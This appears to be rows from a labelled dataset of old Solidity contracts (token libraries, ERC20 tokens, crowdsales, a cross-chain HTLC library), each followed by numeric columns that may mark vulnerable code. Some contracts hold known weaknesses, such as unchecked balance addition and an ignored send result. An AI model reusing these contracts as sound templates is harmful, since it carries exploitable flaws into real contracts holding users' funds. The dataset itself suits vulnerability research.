return self.startingTokenBalance - self.token.balanceOf(this);
}
}
library TokenLib {
using BasicMathLib for uint256;
struct TokenStorage {
bool initialized;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string name;
string symbol;
uint256 totalSupply;
uint256 initialSupply;
address owner;
uint8 decimals;
bool stillMinting;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerChange(address from, address to);
event Burn(address indexed burner, uint256 value);
event MintingClosed(bool mintingClosed);
function init(TokenStorage storage self,
address _owner,
string _name,
string _symbol,
uint8 _decimals,
uint256 _initial_supply,
bool _allowMinting)
public
{
require(!self.initialized);
self.initialized = true;
self.name = _name;
self.symbol = _symbol;
self.totalSupply = _initial_supply;
self.initialSupply = _initial_supply;
self.decimals = _decimals;
self.owner = _owner;
self.stillMinting = _allowMinting;
self.balances[_owner] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
require(!err);
self.balances[msg.sender] = balance;
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
public
returns (bool)
{
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
require(!err);
(err,balanceSpender) = _allowance.minus(_value);
require(!err);
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(TokenStorage storage self, address _owner) public view returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (self.allowed[msg.sender][_spender] == 0));
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender)
public
view
returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
function approveChange (TokenStorage storage self, address _spender, uint256 _valueChange, bool _increase)
public returns (bool)
{
uint256 _newAllowed;
bool err;
if(_increase) {
(err, _newAllowed) = self.allowed[msg.sender][_spender].plus(_valueChange);
require(!err);
self.allowed[msg.sender][_spender] = _newAllowed;
} else {
if (_valueChange > self.allowed[msg.sender][_spender]) {
self.allowed[msg.sender][_spender] = 0;
} else {
_newAllowed = self.allowed[msg.sender][_spender] - _valueChange;
self.allowed[msg.sender][_spender] = _newAllowed;
}
}
Approval(msg.sender, _spender, _newAllowed);
return true;
}
function changeOwner(TokenStorage storage self, address _newOwner) public returns (bool) {
require((self.owner == msg.sender) && (_newOwner > 0));
self.owner = _newOwner;
OwnerChange(msg.sender, _newOwner);
return true;
}
function mintToken(TokenStorage storage self, uint256 _amount) public returns (bool) {
require((self.owner == msg.sender) && self.stillMinting);
uint256 _newAmount;
bool err;
(err, _newAmount) = self.totalSupply.plus(_amount);
require(!err);
self.totalSupply = _newAmount;
self.balances[self.owner] = self.balances[self.owner] + _amount;
Transfer(0x0, self.owner, _amount);
return true;
}
function closeMint(TokenStorage storage self) public returns (bool) {
require(self.owner == msg.sender);
self.stillMinting = false;
MintingClosed(true);
return true;
}
function burnToken(TokenStorage storage self, uint256 _amount) public returns (bool) {
uint256 _newBalance;
bool err;
(err, _newBalance) = self.balances[msg.sender].minus(_amount);
require(!err);
self.balances[msg.sender] = _newBalance;
self.totalSupply = self.totalSupply - _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
return true;
}
}
library BasicMathLib {
function times(uint256 a, uint256 b) public view returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
switch or(iszero(b), eq(div(res,b), a))
case 0 {
err := 1
res := 0
}
}
}
function dividedBy(uint256 a, uint256 b) public view returns (bool err,uint256 i) {
uint256 res;
assembly{
switch iszero(b)
case 0 {
res := div(a,b)
let loc := mload(0x40)
mstore(add(loc,0x20),res)
i := mload(add(loc,0x20))
}
default {
err := 1
i := 0
}
}
}
function plus(uint256 a, uint256 b) public view returns (bool err, uint256 res) {
assembly{
res := add(a,b)
switch and(eq(sub(res,b), a), or(gt(res,b),eq(res,b)))
case 0 {
err := 1
res := 0
}
}
}
function minus(uint256 a, uint256 b) public view returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
switch eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)
case 0 {
err := 1
res := 0
}
}
}
}
contract CrowdsaleToken {
using TokenLib for TokenLib.TokenStorage;
TokenLib.TokenStorage public token;
function CrowdsaleToken(address owner,
string name,
string symbol,
uint8 decimals,
uint256 initialSupply,
bool allowMinting)
public
{
token.init(owner, name, symbol, decimals, initialSupply, allowMinting);
}
function name() public view returns (string) {
return token.name;
}
function symbol() public view returns (string) {
return token.symbol;
}
function decimals() public view returns (uint8) {
return token.decimals;
}
function totalSupply() public view returns (uint256) {
return token.totalSupply;
}
function initialSupply() public view returns (uint256) {
return token.initialSupply;
}
function balanceOf(address who) public view returns (uint256) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) public view returns (uint256) {
return token.allowance(owner, spender);
}
function transfer(address to, uint256 value) public returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) public returns (bool ok) {
return token.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public returns (bool ok) {
return token.approve(spender, value);
}
function approveChange(address spender, uint256 valueChange, bool increase)
public
returns (bool)
{
return token.approveChange(spender, valueChange, increase);
}
function changeOwner(address newOwner) public returns (bool ok) {
return token.changeOwner(newOwner);
}
function burnToken(uint256 amount) public returns (bool ok) {
return token.burnToken(amount);
}
} | 0 | 529 |
pragma solidity ^0.4.25;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BitMaxProToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BMX";
name = "BitMaxPro Token";
decimals = 2;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,308 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract SplitPayment {
using SafeMath for uint256;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
address[] public payees;
constructor(address[] _payees, uint256[] _shares) public payable {
require(_payees.length == _shares.length);
for (uint256 i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _shares[i]);
}
}
function () public payable {}
function claim() public {
address payee = msg.sender;
require(shares[payee] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(
shares[payee]).div(
totalShares).sub(
released[payee]
);
require(payment != 0);
require(address(this).balance >= payment);
released[payee] = released[payee].add(payment);
totalReleased = totalReleased.add(payment);
payee.transfer(payment);
}
function addPayee(address _payee, uint256 _shares) internal {
require(_payee != address(0));
require(_shares > 0);
require(shares[_payee] == 0);
payees.push(_payee);
shares[_payee] = _shares;
totalShares = totalShares.add(_shares);
}
}
contract SontakuToken is StandardToken, DetailedERC20, SplitPayment {
using SafeMath for uint256;
event Purchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
string constant TOKEN_NAME = "Sontaku";
string constant TOKEN_SYMBOL = "SONTAKU";
uint8 constant TOKEN_DECIMALS = 18;
uint256 constant EXCHANGE_RATE = 46490;
uint256 constant HARD_CAP = 46494649 * (uint256(10)**TOKEN_DECIMALS);
uint256 constant MIN_PURCHASE = 4649 * (uint256(10)**(TOKEN_DECIMALS - 2));
uint256 public exchangeRate;
uint256 public hardCap;
uint256 public minPurchase;
uint256 public crowdsaleOpeningTime;
uint256 public crowdsaleClosingTime;
uint256 public fundRaised;
constructor(
address[] _founders,
uint256[] _founderShares,
uint256 _crowdsaleOpeningTime,
uint256 _crowdsaleClosingTime
)
DetailedERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS)
SplitPayment(_founders, _founderShares)
public
{
require(_crowdsaleOpeningTime <= _crowdsaleClosingTime);
exchangeRate = EXCHANGE_RATE;
hardCap = HARD_CAP;
minPurchase = MIN_PURCHASE;
crowdsaleOpeningTime = _crowdsaleOpeningTime;
crowdsaleClosingTime = _crowdsaleClosingTime;
for (uint i = 0; i < _founders.length; i++) {
_mint(_founders[i], _founderShares[i]);
}
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
uint256 tokenAmount = _getTokenAmount(weiAmount);
_validatePurchase(_beneficiary, weiAmount, tokenAmount);
_processPurchase(_beneficiary, weiAmount, tokenAmount);
emit Purchase(
msg.sender,
_beneficiary,
weiAmount,
tokenAmount
);
}
function _validatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal view
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(_tokenAmount >= minPurchase);
require(totalSupply_ + _tokenAmount <= hardCap);
require(block.timestamp >= crowdsaleOpeningTime);
require(block.timestamp <= crowdsaleClosingTime);
}
function _processPurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
_mint(_beneficiary, _tokenAmount);
fundRaised = fundRaised.add(_weiAmount);
}
function _mint(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
totalSupply_ = totalSupply_.add(_tokenAmount);
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
emit Transfer(address(0), _beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(exchangeRate);
}
} | 1 | 3,926 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
uint public createdTimestamp; uint public start; uint public deadline;
address public beneficiary;
uint public amountRaised;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
) {
createdTimestamp = block.timestamp;
start = 1526292000;
deadline = 1529143200;
amountRaised=0;
beneficiary = 0xDfD0500541c6F14eb9eD2A6e61BB63bc78693925;
}
function () payable {
require(block.timestamp >= start && block.timestamp <= deadline && amountRaised<(6000 ether) );
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
FundTransfer(msg.sender, amount, true);
if (beneficiary.send(amount)) {
FundTransfer(beneficiary, amount, false);
}
}
} | 1 | 5,385 |
pragma experimental ABIEncoderV2;
pragma solidity ^0.4.24;
contract Proxy {
event Upgraded(address indexed implementation);
address internal _implementation;
function implementation() public view returns (address) {
return _implementation;
}
function () external payable {
address _impl = _implementation;
require(_impl != address(0), "implementation contract not set");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
pragma solidity ^0.4.24;
contract Owned {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
address public owner;
constructor() public {
owner = msg.sender;
}
address public newOwner;
function transferOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function changeOwner(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
function renounceOwnership() public onlyOwner {
owner = address(0);
}
}
pragma solidity ^0.4.24;
contract Halt is Owned {
bool public halted = false;
modifier notHalted() {
require(!halted, "Smart contract is halted");
_;
}
modifier isHalted() {
require(halted, "Smart contract is not halted");
_;
}
function setHalt(bool halt)
public
onlyOwner
{
halted = halt;
}
}
pragma solidity 0.4.26;
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
}
pragma solidity ^0.4.24;
library BasicStorageLib {
struct UintData {
mapping(bytes => mapping(bytes => uint)) _storage;
}
struct BoolData {
mapping(bytes => mapping(bytes => bool)) _storage;
}
struct AddressData {
mapping(bytes => mapping(bytes => address)) _storage;
}
struct BytesData {
mapping(bytes => mapping(bytes => bytes)) _storage;
}
struct StringData {
mapping(bytes => mapping(bytes => string)) _storage;
}
function setStorage(UintData storage self, bytes memory key, bytes memory innerKey, uint value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal view returns (uint) {
return self._storage[key][innerKey];
}
function delStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(BoolData storage self, bytes memory key, bytes memory innerKey, bool value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal view returns (bool) {
return self._storage[key][innerKey];
}
function delStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(AddressData storage self, bytes memory key, bytes memory innerKey, address value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal view returns (address) {
return self._storage[key][innerKey];
}
function delStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(BytesData storage self, bytes memory key, bytes memory innerKey, bytes memory value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal view returns (bytes memory) {
return self._storage[key][innerKey];
}
function delStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(StringData storage self, bytes memory key, bytes memory innerKey, string memory value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal view returns (string memory) {
return self._storage[key][innerKey];
}
function delStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
}
pragma solidity ^0.4.24;
contract BasicStorage {
using BasicStorageLib for BasicStorageLib.UintData;
using BasicStorageLib for BasicStorageLib.BoolData;
using BasicStorageLib for BasicStorageLib.AddressData;
using BasicStorageLib for BasicStorageLib.BytesData;
using BasicStorageLib for BasicStorageLib.StringData;
BasicStorageLib.UintData internal uintData;
BasicStorageLib.BoolData internal boolData;
BasicStorageLib.AddressData internal addressData;
BasicStorageLib.BytesData internal bytesData;
BasicStorageLib.StringData internal stringData;
}
pragma solidity ^0.4.26;
interface IRC20Protocol {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
pragma solidity 0.4.26;
interface IQuota {
function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external;
function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external;
function upgrade(bytes32 storemanGroupId) external;
function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable);
function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable);
function isDebtClean(bytes32 storemanGroupId) external view returns (bool);
}
pragma solidity ^0.4.24;
interface IStoremanGroup {
function getSelectedSmNumber(bytes32 groupId) external view returns(uint number);
function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime);
function getDeposit(bytes32 id) external view returns(uint);
function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime);
function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external;
function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue);
function getThresholdByGrpId(bytes32 groupId) external view returns (uint);
function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId);
function recordSmSlash(address wk) public;
}
pragma solidity 0.4.26;
interface ITokenManager {
function getTokenPairInfo(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount);
function getTokenPairInfoSlim(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID);
function getAncestorInfo(uint id) external view
returns (bytes account, string name, string symbol, uint8 decimals, uint chainId);
function mintToken(address tokenAddress, address to, uint value) external;
function burnToken(address tokenAddress, address from, uint value) external;
}
pragma solidity 0.4.26;
interface ISignatureVerifier {
function verify(
uint curveId,
bytes32 signature,
bytes32 groupKeyX,
bytes32 groupKeyY,
bytes32 randomPointX,
bytes32 randomPointY,
bytes32 message
) external returns (bool);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub b > a");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod 0");
return a % b;
}
}
pragma solidity ^0.4.26;
library HTLCTxLib {
using SafeMath for uint;
enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked}
struct HTLCUserParams {
bytes32 xHash;
bytes32 smgID;
uint tokenPairID;
uint value;
uint lockFee;
uint lockedTime;
}
struct BaseTx {
bytes32 smgID;
uint lockedTime;
uint beginLockedTime;
TxStatus status;
}
struct UserTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
uint fee;
address userAccount;
}
struct SmgTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
address userAccount;
}
struct DebtTx {
BaseTx baseTx;
bytes32 srcSmgID;
}
struct Data {
mapping(bytes32 => UserTx) mapHashXUserTxs;
mapping(bytes32 => SmgTx) mapHashXSmgTxs;
mapping(bytes32 => DebtTx) mapHashXDebtTxs;
}
function addUserTx(Data storage self, HTLCUserParams memory params)
public
{
UserTx memory userTx = self.mapHashXUserTxs[params.xHash];
require(userTx.baseTx.status == TxStatus.None, "User tx exists");
userTx.baseTx.smgID = params.smgID;
userTx.baseTx.lockedTime = params.lockedTime;
userTx.baseTx.beginLockedTime = now;
userTx.baseTx.status = TxStatus.Locked;
userTx.tokenPairID = params.tokenPairID;
userTx.value = params.value;
userTx.fee = params.lockFee;
userTx.userAccount = msg.sender;
self.mapHashXUserTxs[params.xHash] = userTx;
}
function redeemUserTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout");
userTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeUserTx(Data storage self, bytes32 xHash)
external
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted");
userTx.baseTx.status = TxStatus.Revoked;
}
function getUserTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, uint, address)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount);
}
function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime)
external
{
SmgTx memory smgTx = self.mapHashXSmgTxs[xHash];
require(value != 0, "Value is invalid");
require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists");
smgTx.baseTx.smgID = smgID;
smgTx.baseTx.status = TxStatus.Locked;
smgTx.baseTx.lockedTime = lockedTime;
smgTx.baseTx.beginLockedTime = now;
smgTx.tokenPairID = tokenPairID;
smgTx.value = value;
smgTx.userAccount = userAccount;
self.mapHashXSmgTxs[xHash] = smgTx;
}
function redeemSmgTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout");
smgTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeSmgTx(Data storage self, bytes32 xHash)
external
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted");
smgTx.baseTx.status = TxStatus.Revoked;
}
function getSmgTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, address)
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount);
}
function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status)
external
{
DebtTx memory debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists");
debtTx.baseTx.smgID = destSmgID;
debtTx.baseTx.status = status;
debtTx.baseTx.lockedTime = lockedTime;
debtTx.baseTx.beginLockedTime = now;
debtTx.srcSmgID = srcSmgID;
self.mapHashXDebtTxs[xHash] = debtTx;
}
function redeemDebtTx(Data storage self, bytes32 x, TxStatus status)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout");
debtTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status)
external
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted");
debtTx.baseTx.status = TxStatus.Revoked;
}
function getDebtTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, bytes32)
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
return (debtTx.srcSmgID, debtTx.baseTx.smgID);
}
function getLeftTime(uint endTime) private view returns (uint) {
if (now < endTime) {
return endTime.sub(now);
}
return 0;
}
function getLeftLockedTime(Data storage self, bytes32 xHash)
external
view
returns (uint)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
if (userTx.baseTx.status != TxStatus.None) {
return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime));
}
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
if (smgTx.baseTx.status != TxStatus.None) {
return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime));
}
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
if (debtTx.baseTx.status != TxStatus.None) {
